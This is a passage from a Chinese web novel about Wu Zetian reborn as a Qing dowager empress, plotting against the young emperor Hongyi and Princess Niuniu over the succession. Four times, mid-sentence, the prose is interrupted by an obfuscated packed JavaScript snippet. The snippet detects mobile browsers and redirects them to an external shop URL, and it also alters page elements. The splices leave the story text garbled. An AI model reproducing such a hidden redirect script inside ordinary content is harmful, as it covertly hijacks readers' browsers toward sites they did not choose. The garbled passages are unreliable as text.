[我并不感到兴奋,因为弘宜除掉他以后一定会对我下手,不过……] 武曌突然想起那个怀孕的常在。 [才十几岁的年纪就让女人怀上了自己的孩子,这是准备送我做太皇太后吗?] 【你要……】 [等妞妞被他处理完,我就可以对他下手了。] 武曌笑容明媚。 原本,皇太后就可以在皇帝年幼的时候以女人的身份长期主持朝政。 【万一那女子生的是女孩呢?】 [她生下的一定是男孩,我说是男孩就是男孩。] [强行把女孩变成男孩抱上朝堂,不怕她变成第二个元姑娘?] 凤龙提起北魏旧事。 [胡太后将元姑娘扶上皇位是为了查看天下人的想法,确定天下人允许她玩弄朝政后就立刻改立三岁的临洮王元钊为帝,她从未想过让元姑娘成为真正的皇帝。所以元姑娘最终成了元姑娘。而我的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14267556|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 计划是先用弘宜的婴孩坐上皇位,再把孩子养大,培养成皇位继承人。不管孩子是男是女,我都会培养ta!如果那孩子是女婴就再好不过。] 【我大概明白你的想法了。】 凤龙笑容促狭。 【可怜的弘宜……可怜的妞妞……忙了那么多,却是给他人做嫁衣……】 [传承了两千多年的男尊女卑、嫡长子继承制观念不是那么容易改变,需要足够长的时间和足够稳定的女性权力基础。] 武曌感慨。 前世的她并非从未想过培养太平做自己的继承人,无奈正式登基时已经年过六旬,且权力长期处于不稳定状态,包括儿子在内的多股势力盘根错节,随时准备反扑。这种情况下,如果她坚持培养太平公主做继承人、立她为皇太女,最终只会害了自己最爱的太平。 可惜—— [我以为给她最多的赏赐、最好的丈夫、让她远离政治能保她一世荣华富贵、逍遥快活,即便我死后,皇位被李唐皇室夺回,她也可以在兄弟子侄的庇护下安享晚年。没想到……她终究是我们的女儿,血管里流着我们的血,她为权力而生,与生俱来的渴望着权力……所以这一次,我不再为下一代思考退路,只考虑前进!] 【父母之爱子,必为之计生远……前一世,你爱太平,希望太平能够远离争斗一世平安善终,结果反而害了她……这一世,你压根不爱弘宜和他即将出生的孩子,反倒可以毫无顾忌地将他们作为政治筹码列入计算……】 凤龙平静地述说着,似乎在嘲讽又似乎只是陈述事实。 …… …… “什么!皇上居然在母后皇太后的孝期让身边女人怀孕?” 听闻此事,妞妞面色大变。 要知道,前世的弘历对外可是恪守儒家礼仪的典范,哪怕是最血气方刚的年纪也未曾犯下此等不孝之错。 [果然,朕才是统治大清江山的不二人选。] 暗自嘀咕着,妞妞问将这则秘闻从紫禁城带到公主府的嬷嬷:“圣母皇太后对此事是什么态度?” “还能有什么态度?龙胎已经怀上,自然要生下来。怀胎的常在也会母凭子贵,年后寻由头给晋为贵人。” “寻由头……” 妞妞皱眉:“为什么是寻由头?难道说……” “皇上是天下人的表率,这种事情终归不能摆在明面上,圣母皇太后的意思是等孩子生下来,足月的说成不足月,如此就……” 说到这里,嬷嬷促狭一笑。 妞妞心领神会:“皇额涅当真不容易。” “这孩子来得再不是时候,终归是皇上的头一个孩子,圣母皇太后也是为难啊。” “皇上年轻,难免一时把持不住……只是如此一来,民间必定议论纷纷,尤其是那些凡事必称圣人教诲的迂腐儒生……” 妞妞装出担忧姿态,内心却窃喜不已。 [天真的弘宜,竟然主动送把柄给朕,朕若是不接受就太不礼貌了!] 他要用最快的速度将弘宜的不孝丑事传遍天下! 107.明争暗斗 虽然都是接替雍正的新君,但因为成长环境的截然不同,这个世界的弘宜性格也和原本世界的弘历大相径庭——少年登基并且自身权力长期处于多方势力威胁的弘宜看似谦卑恭顺,其实内心充满不安和算计。 他害怕权臣架空自己,担心圣母皇太后抓着权力不放手,发现四皇姐对皇位存在不应该的欲望后也顿时生出了除之而后快的心思! 事实上,为母后皇太后守孝不满半年就让宫人怀上孩子这件事就是他的算计之一。 他并非年轻气盛控制不住自己的无能之人。 [在朕准备迎娶富察家女儿做皇后证明朕已经成年可以亲政的关键时刻,一直都支持朕的母后皇太后骤然薨逝,这场丧事显然不是巧合……有人不希望朕亲政,不希望朕迎娶富察家女儿得到富察家的力量……] 联系四皇姐最近一整年的种种动作,弘宜怀疑他的四皇姐想做本朝的太平、安乐公主。 更重要的是—— [四皇姐可以神不知鬼不觉地毒杀母后皇太后,自然也有能力对朕下毒手!朕必须抢在四皇姐下手之前把她赶出京城!可惜朕曾对皇阿玛和皇额涅指天发誓此生不能杀手足,否则必将她打入十八层地狱!死无全尸!] 所以他违背孝道在孝期让后宫女人怀孕,借此向摄政的皇额涅强调自己已经成年,让皇额涅身后的年家逐步让出权力允许他亲政,而不是拖到两年后的帝后大婚才不情不愿地让渡权力,另一方面也可趁机抓住四皇姐的破绽。 [朕已经是皇帝,皇帝是天下的父亲,即便偶有瑕疵,天下人也不可以议论!] …… 【你这个儿子可不是什么善茬~】 感应到弘宜的算计的凤龙冷飕飕提醒武曌。 武曌淡淡一笑,她对此是早有准备。 [正因为他从来都不是善茬,我才可以毫无顾忌地和他争夺权力。如果他是个乖巧懂事孝顺的好孩子,我……走最后一步的事或许会于心不忍……] 【……确实是这个道理。】 凤龙深以为然。 武曌则看着两广地区送来的奏章,露出会心的笑容:“本宫不惜巨资建造的蒸汽船已经初见雏形,今年年底,第一批船就可以下水了。” 【真的?】 “可惜第一批船体型偏小,一次至多只能运载二十人或是三千斤货物,不过……万事开头难,有了第一次的成功,很快就会迎来第二次、第三次乃至无数次的成功……” 武曌对未来充满信心。 毕竟,大清的能工巧匠们只用了不到十年的时间就将从西方得到的蒸汽机技术改良做出到马达进而研发建造蒸汽船,她相信,在尹无归的指导下,天生勤劳能干又聪明爱钻研的工匠们一定可以在下一个十年造出架设火炮驰骋太平洋的巨型大船。 当然,造蒸汽船的同时,将来要配置在蒸汽船上的其他相关物品也不能落下。 不论是大炮和枪的研发改进还是海勇们在茫茫海中的各类物资存储供应。 以及—— 最为至关重要的四方安宁。 想到这里,武曌顿时觉得自己有忙不完的事情。 …… …… “皇上,粘杆处送来密折——” 太监入内,呈上密封的匣子。 弘宜打开匣子,阅读粘杆处的折子,面色大变:“这是什么意思!天下有人敢议论朕!” “皇上息怒——” 太监们不知所措,本能地跪了一地。 弘宜眯眼,冷笑道:“朕不介意被天下人议论,但是朕想不明白……为什么天下人会知道紫禁城内的事情!以此议论朕!嘲讽朕不孝顺!” “皇上……” “你们当中有人拿着朕的俸银却还要收外面人的贿赂,将朕的一举一动都卖给他们!这等大逆不道,简直无法无天!” “皇上息怒……” “命粘杆处尽快查出究竟是谁把宫闱事情泄露出去!” “嗻。” 宫人躬身退下,诚惶诚恐,汗出如浆。 弘宜捏着粘杆处的密折,脸色阴得能下雨。 但是很快,少年天子的脸上就沁出了欢喜之色。 “传四皇姐入宫,朕有要事和她商量。” …… 晌午时分,妞妞来到御花园,不情不愿地向弘宜行礼,坐到弘宜面前:“皇上找我入宫有何要事?” “有一件非常的烦心事,需要四皇姐帮朕出主意。” 说话间,弘宜将粘杆处密折推到妞妞面前:“皇姐——” “哦?” 妞妞故作诧异地拿起密折,打开看了一眼,露出完美无瑕的惊愕神情:“这……这……这等宫闱事……我都不知道,外面的人怎么会……” “是啊,皇姐进出宫廷都不知道那拉常在已经怀孕年底将会晋封为贵人,这些山野村夫又是从哪里得知紫禁城内的事情?” 弘宜眯眼,严厉地打量着妞妞,试图从四皇姐的脸上找到慌张与诧异。 然而妞妞早有准备,即便被弘宜直视依旧淡定自若,叹道:“皇上身边的奴才们私下收受官员财物已成惯例,如今闹出这么大的事情,也是……也是……” “也是什么?四皇姐觉得朕该怎么做?” “皇上——” “四皇姐认为朕现在该怎么做?是不是要把身边所有人都换掉才好?” 弘宜眼神冷冽,语气也看似咨询其实更接近质问。 妞妞觉擦到微妙,笑道:“皇上是天子,当然是想怎么做就怎么做。” “真的吗?四皇姐当真这么想?” “当然——” “你是真心诚意把朕当做天子?” 弘宜眼中隐约露出杀气。 妞妞见状,抓紧丝帕,镇定回应道:“皇上不是天子,谁是天子?” “朕听说如今民间不仅热衷议论朕的宫闱之事,还有人传言女主天下!且那女子是爱新觉罗家的女子。” 弘宜咄咄逼人。 妞妞闻言,反问道:“皇上这话是什么意思?难道你怀疑你的四皇姐?” “不敢!” “那你——” 妞妞气打不出一处,暗自嘀咕着你怎么不怀疑你那位垂帘听政的皇额涅,嘴上还要做出虚心苦恼的姿态,引导道:“李唐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14277938|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时期确实出了个女皇帝。” “但是武则天最终把皇位还给了她的儿子,自己也以李唐皇后的身份留在史册中。” “皇上,你究竟是什么意思?” “朕只是向四皇姐倾述内心的担忧罢了,毕竟,四皇姐是朕唯一的姐姐。” 说到这里,弘宜垂下眼睑:“四皇姐的额驸身体养好了吗?” “他的身体——” “母后皇太后一向疼爱四皇姐,直至薨逝时刻依旧不忘关心四皇姐,担心额驸身体有恙不能让四皇姐得到女人应有的幸福满足。” “……” 妞妞面色顿时锐利。 弘宜享受地看着妞妞此刻流露出的不安与戒备,慢条斯理地说道:“若是额驸确有隐疾,朕有意为四皇姐另择佳婿。” “他对我——” “朕明年将会正式迎娶富察家女儿为大清皇后。” 弘宜再次打断妞妞的话。 妞妞听出了弘宜的言外含义,却佯装不懂,一脸真诚地说道:“恭喜皇上。” “只是如此?” 弘宜眯起眼睛。 妞妞笑道:“愿皇上早生太子。” “谢四皇姐吉言。” 弘宜见妞妞事到如今依旧装傻,索性把话挑明:“富察家是大清栋梁,理应享受皇亲荣耀。既然额驸身体有恙不能让四皇姐得到幸福,朕只能亲自笼络富察家,顺便给四皇姐物色蒙古佳婿。” “——弘宜!” 妞妞愤然起身:“你要拆散我们!” “母后皇太后临终遗言,说要让四皇姐得到女人的幸福。” “额驸他——” “四皇姐亲口直言,他身体有恙。” 弘宜抽唇一笑:“身体有恙的男人怎么能匹配四皇姐?” “皇上,你……” “四皇姐,你很聪明也很能干,但你要记住,女人终究是女人,女人不可以对男人的东西产生不切实际的想法。” “——你到底想说什么!” 妞妞猜出弘宜的心思,努力装出茫然姿态:“你怎么可以拆散我和额驸!我们是真心相爱!” “既是真心相爱,他就更该离开你,因为他无法让你得到女人的幸福。” 弘宜已经图穷匕见。 妞妞见状,心头生出无名火,但她此生毕竟是格格不是阿哥,站在面前的又是名正言顺的大清皇帝。 “……皇上,你这般一意孤行,生生拆散我和额驸,不怕被皇阿玛的在天之灵责罚吗?” “皇阿玛若在天有灵,只会夸赞朕,认为朕已经是个合格的大清皇帝。” 说罢,弘宜起身,傲然离去。 妞妞用喷火的眼神看着他,心中充满杀戮欲望。 [可恶!可恶!为什么朕这一世要做女人!为什么成为女人以后要处处受制于男人!不仅皇位无法到手,只是想争取皇权都会被弘宜敲打警告!他难道看不出圣母皇太后也存着窥探大宝的心思?] 【他看得出,但他不在乎,因为武则天最终把皇位还给了李唐家,所以,即便圣母皇太后登临大宝,百年之后,皇位依然要回到他手中。】 108.工部恩科 [原来如此……原来如此……] 不甘心的妞妞愤怒地嘀咕着。 她曾经是男人,她知道男人在这个世界天然享受比女人多得多的好处,但他没想到意外重生成女人的自己想要成为皇帝竟如此地举步维艰! [因为这个世界压根没给女人留权力的空间吗?] 妞妞不甘心。 她需要—— 【现在你明白在你之前的摄政太后们有多厉害了?】 [朕不觉得她们很厉害,她们只是占了儒家孝道的便宜。] 妞妞不甘心地说道,她依然觉得她才是最厉害的! [朕这次是抽了下下签,重生成了根本不可能得到权力的公主。如果朕重生成某个皇帝的后妃,朕必然能迅速得宠成为皇后然后以摄政太后的身份登基成女皇!] 【真的吗?】 凤龙露出笑容,是妞妞两世都未见过的难以形容的复杂笑容——既不是悲伤、也不是嘲讽、冰冷中带着一点蔑视又不失礼貌得体的奇怪笑容。 妞妞心头掀起莫名的毛骨悚然。 [你、你的表情……] 【我早和你说过,我不是人类,即便我的外表被塑造得无限接近人类,我的内核也终究不是人类,难免会不知不觉中露出人类无法理解的表情。】 说话间,凤龙收敛让妞妞都会感到不寒而栗的古怪笑容,露出在人类的审美范畴内可称作倾国倾城的明媚微笑。 妞妞顿时感觉更糟糕了。 [这个家伙……这家伙到底是……是什么东西!] 【非人的存在,你不是从一开始就知道吗?】 凤龙抬头,下巴微微上翘,明媚的面容透出不可名状的妖娆和恐怖。 [朕……朕……] 巨大的恐惧袭上心头,妞妞不由自主地发出惊叫! “啊——” …… …… [所以你和弘历正式摊牌了?] 【嗯。】 凤龙直言不讳。 【我原以为她会给我带来很多的快乐,实际接触以后才发现不论是前世还是今生,他/她都只是个傲慢愚蠢又极度自私自利的黑暗家伙……我不喜欢这样黑暗丑陋的灵魂。】 [哦?] 武曌有点意外。 [我记得你一直都很喜欢人性的黑暗面。] 【我确实喜欢人性的黑暗,但我对恶人的黑暗毫无兴趣,我喜欢圣人被黑暗污染、折磨得伤痕累累,喜欢看同时具备光明和黑暗两种属性的灵魂因为内心的邪恶和高尚的极限拉扯而心力交瘁痛苦不堪~】 [你是个有恶趣味的家伙。] 【如果你拥有和我类似的漫长生命,哪怕只是能活三千年,你也会和我一样变得对普通的东西失去兴趣,只想得到最特别最绚烂的东西。】 [或许吧……可惜我只是凡人,至多能活百年……] 武曌抬头,看了眼西洋玻璃镜,镜子里的面容虽然依旧美貌,却也早已不复少女的青涩纯真。 [人类永远无法逃离衰老,再美的面容也会爬满皱纹、长出白发,皮肤像枯树一样干瘪松垮丑陋……但也正因为人类生命有限,会衰老会死亡,人类才会抓紧时间在有生之年做他们想做的事情!] 【这点倒是事实。】 凤龙深以为然。 【像我拥有几乎无限长的生命又可以随时回溯时间,反而时常对什么都提不起劲~】 此时,嬷嬷入内,称张廷玉带领多位朝廷官员等候圣母皇太后召见。 “张廷玉?” 武曌挑眉,传见诸位朝臣。 …… “臣张廷玉叩见圣母皇太后,愿圣母皇太后——” “起来吧。” 武曌见张廷玉面色严肃,又见他身后跟着二十多名汉官,隐约已经猜到他们此来的目的:“你是先帝的肱股之臣,又是朝中汉臣首领,有什么话不妨直说。” “谢圣母皇太后。” 张廷玉起身,小心翼翼地说道:“臣恳请圣母皇太后加开恩科,允许更多的汉人通过科举功名为大清效力。” “吏部那边等待填缺的候补官员已经够多,你还想加开恩科?” “圣母皇太后——” “不过你这话却也提醒了本宫。” 武曌抬手,拿起手边一本西洋书籍,递给张廷玉:“本宫有意对科举做一些改良,从明年开始,除传统的文武科举选拔人才,每年加一场恩科专门选拔精通各类机巧技艺的工部人才,为大清主管造船、开矿、锻造、堤坝等等工作。” “那……那……通过恩科得到朝廷任用的工部人才是不是……” 张廷玉面露喜色。 要知道,入关不到百年,八旗子弟们已有半数沦为吃铁杆庄稼的纨绔,领着世袭的差事混吃等死,只有极少数有志向的愿意习武读书走科举路,更不必说学习被传统儒家文化认为是杂学的各类机巧技艺。 反观汉人—— 家中稍有资产便会努力读书以求取功名光宗耀祖,发现自己不是读书的材料后也会努力钻研技艺以便用一技之长养活一家老小,大清特许和西洋人做贸易的广州十三行管辖地区的汉人们更是半数以上都从事和西洋贸易有关的产业,不少人甚至学过西洋文。 由此可得,一旦朝廷加开恩科选拔工部人才,最终录用的人才中汉人占比至少九成! 又因为这些人会被送去工部任职,短期内,八旗王公无意反对,长期后,八旗王公无力反对! “你们以为如何?” “圣母皇太后英明!” 张廷玉作为人精,早就看出圣母皇太后醉心西洋人的机械科技,有意在大清境内推广,而他凭借敏锐的直觉也已发现西洋人的这些东西能给大清在衣食住行包括军队装备领域都带来意想不到的好处。 圣母皇太后如今还有意加开工部恩科壮大朝中汉臣势力—— 身为汉臣首领的张廷玉自然喜不自胜,赶紧领着众人磕头谢恩。 [圣母皇太后果然一直都站在我们汉人这边!] [冲这份恩情,就算圣母皇太后将来效仿武则天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14300914|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 登基做女皇,我们汉臣也一定全力支持!] [圣母皇太后是我们汉臣的再生父母啊!] …… 汉臣们夹杂着私心与大义的心语断断续续流入武曌耳中,意识到时机正逐渐成熟的武曌露出胜券在握的笑容。 …… …… 半月后,朝堂正式通过加开恩科录用工部人才事宜。 正如张廷玉所料,八旗王公们对此事没有任何反对意见,甚至觉得圣母皇太后加开工部恩科也可以巩固满人的统治地位。 他们认为推行工部恩科制度可以让汉人不再视读书考科举为出人头地的唯一途径,长期以往,朝堂中的汉臣高官数量必定减少,有世袭爵位的八旗贵族们自然就有了更大可能成为朝堂高官,把持朝政。 小皇帝弘宜则认为借增加工部恩科之名让朝廷录用全新的人才,可以逐步分化宗室勋贵和四大辅政手中权力,为将来的亲政掌权铺平道路。 一时间,每个人都觉得推行工部恩科对己方势力有好处,没有人愿意站出来反对这个政策。 至于民间—— 得知精通杂学也有可能通过科考做官,那些原本只能依靠同乡举荐再奉上大笔捐官银两才可能谋得一个不知道什么时候能得到上任机会的候补官职的名门富户们顿时两眼放光! 家族又多了一条出人头地的道路! 而且—— 和抱着祖宗之法的八旗贵族们不同,地方的富户大家族一向耳聪目明,乐于接受新鲜事物,不少人家中甚至已经开始使用蒸汽马达做动力的马车,知道这些引进西洋人的技艺改良制造而成的玩意拥有不可限量的广大前途,从事相关制造产业必能财源滚滚,传承世代。 “必须立刻让家中子侄接触此类新奇物!” “机不可失时不再来!这事涉及百年大计,必须严肃对待!” “我早就看出朝廷要转向,现在可是真的发生了~” …… 族长、族老们聚在一起絮絮叨叨的讨论着,不少人甚至考虑等朝廷造出可以越洋的大船就送家中子侄们去西洋学习一番,将来得到朝廷重用,也算是光宗耀祖。 此外,明清两代的名门大户本就流行将家中女眷培养成远近闻名的才女以此炫耀书香底蕴,部分熟读史书的大族长看如今的朝堂乃是圣母皇太后做主,想到历史上每逢女主天下必会选拔女子入朝为官,而自家女儿生来聪明机敏不输男儿,纷纷生出让女儿暂缓婚嫁等候女子科考的主意! “以咱们家的身份和财富,女儿哪怕耽误了年纪成老姑娘也不愁没人娶,即便真沦落到没有门当户对的人家愿意娶的地步,家里也不至于养不起她!但如果现在就把她嫁去夫家,将来她有幸入朝为官,好处岂不是全落到男方那边了?!” “而且,万一咱们给她选的男人是个知人知面不知心的中山狼或是她的未来公婆目光短浅迂腐蠢笨不许她参加千载难逢的女官遴选,之前那么多年的辛苦读书培养可就全白费了!” “老爷言之有理,咱们确实不该急着把女儿嫁出去。” 109.送去吃沙子 民间为新增的工部恩科议论纷纷的同一时间,妞妞遇上了一些麻烦。 她的额驸突然带着父母向她请罪。 “请罪?什么意思?” 妞妞皱眉,想起弘宜的威胁。 [难不成——] 她感到无名愤怒。 前世为了大清江山不惜满门忠烈的富察家这一世竟然—— 【他们对大清江山依旧满门忠烈,只是这一世的你不再是他们的忠烈对象。】 [胡说!朕可是——] 【他们的忠烈对象是大清江山,不是特定的某个人。】 [可是……可是朕……] 【别忘了,你这一世可是女人。】 说完风凉话,凤龙闪到一边磕金瓜子。 妞妞也不得不板着脸接见公婆等人:“阿玛、额涅,你们突然来访,可是有——” “公主!” 夫妻两人拉着儿子下跪,哀求道:“皇上前几日传召我们进宫,让我们……让我们送公主回宫……” “什么意思!皇上他……” “公主,奴才配不上您。” 额驸苦着脸哀求道:“皇上说您应该下嫁给身份更为高贵的额驸。” “什么身份更高贵的额驸!他不就是想把我嫁去蒙古吃沙子!那种苦寒地方——” “奴才斗胆问过皇上,皇上说他绝不会将公主送去蒙古,他会让公主和蒙古额驸在京城长住。” “什么!” 妞妞倒吸一口凉气。 弘宜的手段远比她的预想更加狠毒。 要知道,蒙古的生活虽然远不如京城繁华舒适,公主嫁过去以后却也能凭借尊贵的身份得到身在京城绝对不可能得到的实权,甚至可以参政监国,被称为“海蚌公主”,例如康熙朝嫁给土谢图汗的和硕恪靖公主就是一位赫赫有名的海蚌公主。 如果得到皇帝特许和额驸一起留在京城—— [留在京城看似只是失去了干涉蒙古王公所属部落的权力,实际……以弘宜对朕的态度,怕不是日夜监视,随时准备……不行,朕不能坐以待毙!朕要打开局面,重头开始!] 想到此处,妞妞擦了擦根本不存在的眼泪,叹息道:“既然如此,本公主也只能……进宫找皇上和皇额涅讨个说法了!” …… …… “四公主要见本宫?” 听了太监通报,武曌露出笑容:“为什么?” “听说是皇上想让四公主改嫁蒙古……” “啊?” 武曌故作惊讶,道:“蒙古那种苦寒地方,四公主这等金枝玉叶如何受得住!何况富察家对四公主一向恭敬孝顺,处处伺候着,并无不当无礼之处,皇上怎么可以……” “奴才们也是想不明白……” 太监小心翼翼地附和着圣母皇太后,并将四公主领进。 “皇额涅——” 妞妞见到圣母皇太后,立刻露出可怜姿态:“皇上……皇上他要拆散我和额驸,把我嫁去蒙古吃沙子!” “此事……本宫也有所耳闻……” “那……” “本宫这就带你去见皇上,为你讨个说法。” 武曌一脸义愤填膺。 妞妞擦了擦用新鲜辣椒刺激出的眼泪,哽咽道:“皇额涅,你可一定……一定要为我做主!我不想和额驸分离!更不想去蒙古吃沙子!我……” “妞妞放心,皇额涅绝不许皇上送你去蒙古受苦。” …… 见圣母皇太后领着四皇姐前来兴师问罪,弘宜故作惊诧:“皇额涅,四皇姐,你们怎么——” “怎么?我们不能来你这边?” 武曌假意愤怒,训斥道:“你还记得你在先帝和母后皇太后跟前的承诺吗!绝不让你四皇姐此生受委屈!如今才几天时间,你就要拆散你四皇姐和她的额驸,把人送去蒙古吃沙子!” “皇额涅,您错怪儿子了。儿子这么做全是为四皇姐着想。” 弘宜搬出早就准备好的说辞:“四皇姐的额驸虽然年少英俊又文武双全还懂得嘘寒问暖,可他在战场上受了伤,身体至今没有养好!一个无能的男人拿什么给四皇姐幸福!” “他们还年轻,过几年自然能养好身体——” “万一养不好呢?” “你说什么?” 武曌挑眉,看似不满弘宜对额驸的评断,其实是觉察到弘宜的对抗情绪:“什么叫万一养不好!你怎么知道……” “儿子已经派御医为额驸诊断过,御医说额驸的身体……恐怕……” “原来如此。” 武曌叹了口气,对妞妞道:“公主可知此事?” “我……我……” “看公主的模样,显然是早有耳闻。” “皇额涅——” 妞妞心急如焚,努力压制不爽地哀求道:“就算额驸身体治不好,无法给我幸福,我可以和富察家其他儿子生下孩子!为什么非要拆散我们,把我送去蒙古受苦!” “这……” 武曌知道妞妞舍不得离开富察家,但她没想到妞妞会把心中想法如此直白地说出口。 弘宜也是大吃一惊:“四皇姐,你这话也……你觉得富察家可能答应你的异想天开吗?” “他们不敢反对。” 妞妞理直气壮。 弘宜冷笑,看向武曌。 武曌叹了口气:“富察家是大清的肱股之臣,不该被如此对待。” “皇额涅的意思是——” “本宫的意思——” “皇额涅的意思是一切按照朕的意思。” 弘宜突然插嘴,态度无比坚决:“四皇姐,你与富察家情意已绝,早早和离吧。” “如果我不同意——” “朕会下旨。” “那……” 妞妞吸了口气,反问道:“你打算把我嫁给哪个蒙古王公?” “四皇姐想嫁给哪位蒙古王公?” 弘宜反问。 妞妞闻言,微微一愣:“此事可由我自行做主?” “朕让四皇姐与额驸和离是为了保全四皇姐的名声,并非不爱四皇姐,怎可能此事结束以后随便找个蒙古王公将四皇姐嫁过去?四皇姐,你想嫁给哪个蒙古王公都可以,哪怕他已有正妃,朕也会让他贬妻为妾,欢欢喜喜迎娶四皇姐。” 弘宜做出姐弟情深模样。 妞妞不信他此刻所言出自真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14310997|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心,但她如今毕竟只是个公主,不能公开公然地反驳皇帝的决定。 “我……我……” 眼球一番激烈震动后,妞妞嫣然一笑,款款道:“此事但凭皇上做主。” [弘宜!你很好!可惜——这一世就算生为女子,朕也会把皇位从你手中抢回来!富察家靠不住,那朕就先从成为蒙古女王开始!] [四皇姐,如果你以男人的身份出生,朕未必会得到皇位,可惜,你是女人!女人再能干也休想越过男人!] 对今日战果颇为得意的弘宜冷飕飕地想着,收下妞妞的让步:“四皇姐只管放心,朕一定给你找一个才貌双全又贴心懂事的好额驸,并且朕还打算为四皇姐扩建公主府,四皇姐与蒙古额驸成婚后可以住在京城,不必去蒙古草原受苦——” “事已至此,我已经不觉得和未来的蒙古额驸去蒙古草原是受苦……” 妞妞抬头,阴阳怪气地看着弘宜:“祖宗规矩不可废,成婚后,我自会随额驸前往蒙古。” “四皇姐是要和朕置气吗?” “不敢!” 妞妞看向圣母皇太后:“皇额涅,您真不打算在皇上面前给妞妞说几句话吗?” “皇上——” “皇额涅,朕心意已决,还请皇额涅成全。” 弘宜姿态无比强硬。 “既然如此……” 武曌假意叹了口气,道:“皇上,本宫希望你能给四公主的子女额外的恩典,她将来所生的所有孩子都能享受大清郡王、郡主待遇。” “四皇姐是朕唯一还活着的亲姐姐,特许她此生诞下的所有女儿们享受郡主待遇倒也可以,但是男孩……全部给郡王待遇……恕儿子不孝,不能答应皇额涅!” “真的不可以?” “皇额涅,儿子知道您宠爱四皇姐,可即便是爱新觉罗家的阿哥们也不是每个都能领到郡王待遇,何况四皇姐她即将嫁去蒙古、生下的孩子是蒙古王公的骨肉?!” “……本宫明白了。” 武曌起身,惆怅地看了眼爱新觉罗·弘历·妞妞:“妞妞,是皇额涅对不起先帝和母后皇太后,教出了这个……这个……” “皇额涅,儿子此举也是为了江山社稷,并非有意不孝!” 弘宜知道今日举动可能引来他人非议,因此一再强调自己也是为了大清不得不这样做。 武曌笑了笑,转身离去。 妞妞看了他一眼,跟上圣母皇太后的脚步。 …… …… 将冲着自己演哭啼戏码的妞妞送走后,武曌拿起传教士送来的英吉利文学家莎士比亚著作《哈姆莱特》的汉化译本,心不在焉地翻看。 [弘宜今日举动既是对妞妞的打压,也是对我的示威……他想让我知道,如果继续把持朝政,他也会……] 【用同样的手段对付你?把南明遗臣编写的太后下嫁摄政王的野史变成现实?】 凤龙露出兴致盎然的笑容。 武曌淡淡一笑。 [他要是真为了夺权做出请太后下嫁摄政王的决定,我反而会高看他几分!可惜……] 她合上书页,轻声重复《哈姆莱特》名句:“生存还是毁灭,这是个问题。” 110.撕破脸 四公主与富察家额驸的和离很快传遍京城。 百姓们将此当做茶余饭后的消遣,笑得前俯后仰,宗亲贵族和朝中大臣却无不面色严肃,与幕僚议论纷纷。 “听说皇上想让四公主去蒙古和亲,所以才安排四公主与富察家和离,可是……” “四公主下嫁富察家是先帝生前亲自定下的亲事,先帝从未想过让四公主送去蒙古,皇上此举——” “我也觉得此事另有蹊跷。” “——大人,我有一言不知当讲不当讲?” 某个幕僚压低声音,眼中闪烁着惊恐和彷徨。 “这里没有外人,但说无妨。” “那我就——” 幕僚深吸一口气,缓缓道:“不才以为,皇上此举是为了将富察家的势力全部收拢到自己手中,毕竟,等孝期结束,皇上就会正式册立富察家女儿为大清皇后。” “你这话看似有几分道理,其实一窍不通。四公主身为皇上的亲姐姐,被先帝下嫁富察家,如今皇上又册立富察氏为皇后,对富察家而言这是亲上加亲的殊荣……” “你才是老糊涂!正因为既有额驸又出皇后是亲上加亲,皇上才要拆散四公主和富察家,俗称先给一棒子再给一颗甜枣,让富察家明白皇上永远是皇上,以防富察家恃宠而骄生出傲慢之心!” “……原来如此,确实……一张一弛,用人之道。” “而且我听说四公主虽是女流之辈却颇有男儿志气,一心想做海蚌公主。圣母皇太后与年家长期把持朝政不让皇上亲政,皇上对此早就心烦意乱,碍于孝道和孝期未出不得不暂时忍耐。此番打发四公主去蒙古和亲,多半也有指桑骂槐、杀鸡儆猴的意思。” “这……” 书房里商议政事的众人顿时面色凝重,少许沉默后纷纷拱手告辞。 …… “王爷!王爷!” 下人们大呼小叫地跑进王府花园。 